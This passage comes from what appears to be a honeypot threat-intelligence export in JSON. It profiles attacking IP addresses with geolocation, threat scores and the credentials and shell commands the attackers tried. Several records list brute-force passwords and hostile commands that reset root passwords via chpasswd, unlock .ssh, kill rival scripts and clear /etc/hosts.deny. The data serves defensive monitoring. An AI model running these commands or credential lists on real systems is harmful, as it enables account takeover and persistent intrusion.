        "last_seen_30d": "2026-04-24T03:05:29.187000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.144.205.36": {
      "attack_count": 2,
      "first_seen": "2026-04-14T19:23:07.228Z",
      "last_seen": "2026-04-14T19:23:20.929Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangneung",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T19:23:07.228000+00:00",
        "last_seen_30d": "2026-04-14T19:24:22.964000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.10.113.218": {
      "attack_count": 2,
      "first_seen": "2026-04-12T03:02:10.651Z",
      "last_seen": "2026-04-12T03:02:10.907Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.1,
        "persistence": 7.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 9,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-04T12:39:18.037000+00:00",
        "last_seen_30d": "2026-04-12T03:03:12.628000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Honeytrap": 17,
        "Adbhoney": 2,
        "Cowrie": 2
      }
    },
    "44.220.188.86": {
      "attack_count": 2,
      "first_seen": "2026-04-19T03:03:47.351Z",
      "last_seen": "2026-04-19T03:03:52.352Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-19T03:03:47.351000+00:00",
        "last_seen_30d": "2026-04-23T13:51:52.203000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2,
        "Mailoney": 2
      }
    },
    "85.74.96.220": {
      "attack_count": 2,
      "first_seen": "2026-04-09T06:51:53.170Z",
      "last_seen": "2026-04-09T06:52:06.333Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Greece",
      "country_code": "GR",
      "city": "Korydallos",
      "asn": 6799,
      "as_org": "OTEnet S.A.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T06:51:53.170000+00:00",
        "last_seen_30d": "2026-04-09T06:53:12.658000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.196.152.73": {
      "attack_count": 2,
      "first_seen": "2026-04-13T00:23:47.123Z",
      "last_seen": "2026-04-13T00:23:57.446Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 58.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.3,
        "persistence": 19.2,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 23,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T09:43:32.104000+00:00",
        "last_seen_30d": "2026-04-24T19:46:24.788000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Miniprint": 9,
        "Honeytrap": 7,
        "Cowrie": 2
      }
    },
    "92.205.56.196": {
      "attack_count": 719,
      "first_seen": "2026-04-04T18:30:33.172Z",
      "last_seen": "2026-04-12T19:57:14.733Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "user",
        "345gs5662d34",
        "admin",
        "ali",
        "appuser",
        "odoo",
        "123456",
        "admin1",
        "bot",
        "dat",
        "debianuser",
        "deploy",
        "ftpuser",
        "ftpuser3",
        "gera",
        "jack",
        "postgres",
        "remote"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123qwe",
        "00000",
        "123",
        "12345678",
        "1234Abcd",
        "1234asdf",
        "1234qwer",
        "123@qwerty",
        "123qwe!@#",
        "1QAZ2wsx3EDC",
        "1q2w3e4r",
        "1qaz",
        "1qaz=[;.",
        "1qaz@WSX3",
        "2233",
        "25802580",
        "7"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"2233\\nYZqZX3YZaKh7\\nYZqZX3YZaKh7\\n\"|passwd",
        "echo \"Admin26!\\nZE9DIZzIuKpi\\nZE9DIZzIuKpi\\n\"|passwd",
        "echo \"Odoo16\\nCCZUiwtSCSSV\\nCCZUiwtSCSSV\\n\"|passwd",
        "echo \"root:LO8CWuD1wzi3\"|chpasswd|bash",
        "echo \"ubuntu_1234567\\nGDsm3Bhfs5hc\\nGDsm3Bhfs5hc\\n\"|passwd",
        "echo -e \"2233\\nYZqZX3YZaKh7\\nYZqZX3YZaKh7\"|passwd|bash",
        "echo -e \"Admin26!\\nZE9DIZzIuKpi\\nZE9DIZzIuKpi\"|passwd|bash",
        "echo -e \"Odoo16\\nCCZUiwtSCSSV\\nCCZUiwtSCSSV\"|passwd|bash",
        "echo -e \"ubuntu_1234567\\nGDsm3Bhfs5hc\\nGDsm3Bhfs5hc\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Strasbourg",
      "asn": 21499,
      "as_org": "Host Europe GmbH",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.6,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 912,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T18:30:33.172000+00:00",
        "last_seen_30d": "2026-04-12T19:58:19.503000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 719,
        "Suricata": 193
      }
    },
    "171.25.158.70": {
      "attack_count": 661,
      "first_seen": "2026-04-17T03:26:45.374Z",
      "last_seen": "2026-04-17T21:48:39.578Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "contest",
        "postgres",
        "teste",
        "ubuntu",
        "userftp",
        "vpn",
        "dev",
        "ftpuser",
        "gabriel",
        "git",
        "gm",
        "guest",
        "mutua",
        "mytest",
        "nasrin",
        "newuser",
        "phptest",
        "server"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ1qaz",
        "11111",
        "123",
        "1234",
        "1234566",
        "1qaz!QAZ1qaz",
        "1qazxdr5!@#",
        "35",
        "3edc#EDC",
        "A1231239",
        "A1234567O",
        "AA123456+",
        "Abc@123...",
        "Admin123+",
        "Dev123!",
        "P@ssw0rd123!@#",
        "Pa$$w0rd12345",
        "Qazwsx000!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"contest\\nZqNXMY09yxJb\\nZqNXMY09yxJb\\n\"|passwd",
        "echo \"passw0rd\\nGcr9vk0yh9qx\\nGcr9vk0yh9qx\\n\"|passwd",
        "echo \"q1w2e3\\neRXURKSAs4rK\\neRXURKSAs4rK\\n\"|passwd",
        "echo \"root:MvXCd3X1bvMO\"|chpasswd|bash",
        "echo \"root:cgS2bECGqlie\"|chpasswd|bash",
        "echo \"root:r1WXKYYjaxip\"|chpasswd|bash",
        "echo -e \"contest\\nZqNXMY09yxJb\\nZqNXMY09yxJb\"|passwd|bash",
        "echo -e \"passw0rd\\nGcr9vk0yh9qx\\nGcr9vk0yh9qx\"|passwd|bash",
        "echo -e \"q1w2e3\\neRXURKSAs4rK\\neRXURKSAs4rK\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Vaxjo",
      "asn": 35100,
      "as_org": "Patrik Lagerman",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 799,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T03:26:45.374000+00:00",
        "last_seen_30d": "2026-04-17T21:49:49.772000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 661,
        "Suricata": 138
      }
    },
    "187.16.96.250": {
      "attack_count": 507,
      "first_seen": "2026-04-27T19:14:55.771Z",
      "last_seen": "2026-04-29T01:14:00.007Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ali",
        "admin",
        "bwadmin",
        "ftpuser",
        "git",
        "ldapuser",
        "mailtest",
        "minecraft",
        "nisuser",
        "oracle",
        "reza",
        "rootwww",
        "test",
        "user",
        "user1",
        "vps",
        "webadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456ddd",
        "123456ry",
        "1q2ww2q1",
        "3bb",
        "Aa123456",
        "Abcd123456@",
        "Asdf.1234",
        "P@55wOrd",
        "P@ssW0rd",
        "Passw0rd",
        "Qwerty123!",
        "RooT",
        "Srv123",
        "Welcome",
        "cax8700087",
        "danihack000",
        "doggie"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456ddd\\nNuRYe1aYrdrb\\nNuRYe1aYrdrb\\n\"|passwd",
        "echo \"Aa123456\\nfUl1U0cNa0Hw\\nfUl1U0cNa0Hw\\n\"|passwd",
        "echo \"Welcome\\n9Oscf9fQkQl3\\n9Oscf9fQkQl3\\n\"|passwd",
        "echo \"root:46dPdHn9dYOR\"|chpasswd|bash",
        "echo -e \"123456ddd\\nNuRYe1aYrdrb\\nNuRYe1aYrdrb\"|passwd|bash",
        "echo -e \"Aa123456\\nfUl1U0cNa0Hw\\nfUl1U0cNa0Hw\"|passwd|bash",
        "echo -e \"Welcome\\n9Oscf9fQkQl3\\n9Oscf9fQkQl3\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 17222,
      "as_org": "MUNDIVOX DO BRASIL LTDA",
      "threat_score": 41.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 664,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T19:14:55.771000+00:00",
        "last_seen_30d": "2026-04-29T01:15:02.614000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 507,
        "Suricata": 157
      }
    },
    "191.97.12.90": {
      "attack_count": 456,
      "first_seen": "2026-04-12T19:22:42.626Z",
      "last_seen": "2026-04-13T10:00:04.557Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "free",
        "postgres",
        "user",
        "user1",
        "ali",
        "appuser",
        "bot",
        "deploy",
        "ftpuser",
        "gera",
        "httpd",
        "jack",
        "leo",
        "mohamed",
        "proxyuser1",
        "sammy",
        "server"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "00000000",
        "1111",
        "123",
        "1234",
        "123456",
        "12345678",
        "1234qwer",
        "1Password@",
        "1QAZ2wsx3EDC",
        "1q2w3e4r",
        "1qaz",
        "2026@",
        "2233",
        "Abc123...",
        "Abcd123456789!@#",
        "CCaa111",
        "Change_123",
        "Frappe09"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nfdyUX1mgX3qx\\nfdyUX1mgX3qx\\n\"|passwd",
        "echo \"free\\nHlvGU2f1yuME\\nHlvGU2f1yuME\\n\"|passwd",
        "echo \"root:j6NoctdYRnWx\"|chpasswd|bash",
        "echo -e \"12345678\\nfdyUX1mgX3qx\\nfdyUX1mgX3qx\"|passwd|bash",
        "echo -e \"free\\nHlvGU2f1yuME\\nHlvGU2f1yuME\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 262186,
      "as_org": "TV AZTECA SUCURSAL COLOMBIA",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 583,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T19:22:42.626000+00:00",
        "last_seen_30d": "2026-04-13T10:01:08.477000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 456,
        "Suricata": 127
      }
    },
    "20.26.135.100": {
      "attack_count": 440,
      "first_seen": "2026-04-02T08:34:42.220Z",
      "last_seen": "2026-04-02T09:44:37.421Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx3edc",
        "...asd123",
        "123123123a",
        "123456123456",
        "1234qwerasdf",
        "303030",
        "AA123456-",
        "Cloud@2026",
        "S1mt4st1c_Admin",
        "admin1234@.",
        "chat",
        "dnflskfk",
        "lst123",
        "off",
        "q1w2e3r4!@#$",
        "qazQAZ123",
        "qazwsx123@#",
        "robin"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:CWlgvVyMWrdU\"|chpasswd|bash",
        "echo \"root:Kig5AD5PPNIJ\"|chpasswd|bash",
        "echo \"root:P4HZCGxkhl74\"|chpasswd|bash",
        "echo \"root:loLf6uubuFXH\"|chpasswd|bash",
        "echo \"root:vy9itmoBGBcW\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 511,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T08:34:42.220000+00:00",
        "last_seen_30d": "2026-04-02T09:45:42.188000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 440,
        "Suricata": 71
      }
    },
    "45.249.245.95": {
      "attack_count": 437,
      "first_seen": "2026-04-29T16:25:00.959Z",
      "last_seen": "2026-04-30T05:02:26.018Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "es",
        "ali",
        "amir",
        "demo",
        "deploy",
        "devops",
        "dspace",
        "git",
        "postgres",
        "reza2",
        "test",
        "test_user",
        "testuser",
        "ubuntu",
        "user",
        "user1",
        "user11"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1008611",
        "1010",
        "102030",
        "1111",
        "112233",
        "123123",
        "123123123",
        "12344321",
        "12345",
        "123456",
        "123456789m",
        "123456aA@",
        "123654789",
        "1q2w3e4r",
        "1qaz2wsx",
        "2013",
        "22222222",
        "860808"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"112233\\nYsOAI2FrZRrF\\nYsOAI2FrZRrF\\n\"|passwd",
        "echo \"root:icNNBah3bvbV\"|chpasswd|bash",
        "echo -e \"112233\\nYsOAI2FrZRrF\\nYsOAI2FrZRrF\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 41.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 577,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T16:25:00.959000+00:00",
        "last_seen_30d": "2026-04-30T05:03:32.110000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 437,
        "Suricata": 140
      }
    },
    "197.248.207.139": {
      "attack_count": 421,
      "first_seen": "2026-04-23T20:35:15.633Z",
      "last_seen": "2026-04-30T03:32:58.654Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "testuser",
        "ubuntu",
        "user",
        "alice",
        "bitrix",
        "bot",
        "catuser",
        "deploy",
        "es",
        "ftpuser",
        "hadoop",
        "insight",
        "itmuser",
        "sammy",
        "server",
        "test123",
        "teste1"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "12345",
        "123456",
        "123@Root",
        "1qaz2wsx",
        "4rfvBGT%",
        "555555",
        "A@a123456",
        "Aa112211.",
        "Admin@9000",
        "Gg147258",
        "Hz@123456",
        "Q1W2E3R4T5Y6",
        "Qazwsx2026$",
        "Qwerty12",
        "Sammy21!",
        "Support@2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:fck4hGNU5IJa\"|chpasswd|bash",
        "echo \"root:kRWTLtm2lmXJ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 37061,
      "as_org": "Safaricom",
      "threat_score": 46.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.5,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 557,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T20:35:15.633000+00:00",
        "last_seen_30d": "2026-04-30T03:34:05.124000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 421,
        "Suricata": 136
      }
    },
    "217.160.226.51": {
      "attack_count": 399,
      "first_seen": "2026-04-17T21:12:06.238Z",
      "last_seen": "2026-04-17T21:53:45.824Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "contest",
        "ubuntu",
        "userftp",
        "git",
        "mutua",
        "mytest",
        "phptest",
        "postgres",
        "server",
        "thomas",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ1qaz",
        "11111",
        "1234",
        "35",
        "A1231239",
        "A1234567O",
        "Abc@123...",
        "Admin123+",
        "Qazwsx000!@",
        "Qazwsx12345.",
        "Root13!",
        "Root2024!!",
        "Server",
        "Vpn5",
        "ZAQ!2wsx2025@123",
        "a1a2a3a4",
        "admin12..",
        "apollo13"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"contest\\nwJKhS5DADe70\\nwJKhS5DADe70\\n\"|passwd",
        "echo \"passw0rd\\nM7BRRxjOB1Ha\\nM7BRRxjOB1Ha\\n\"|passwd",
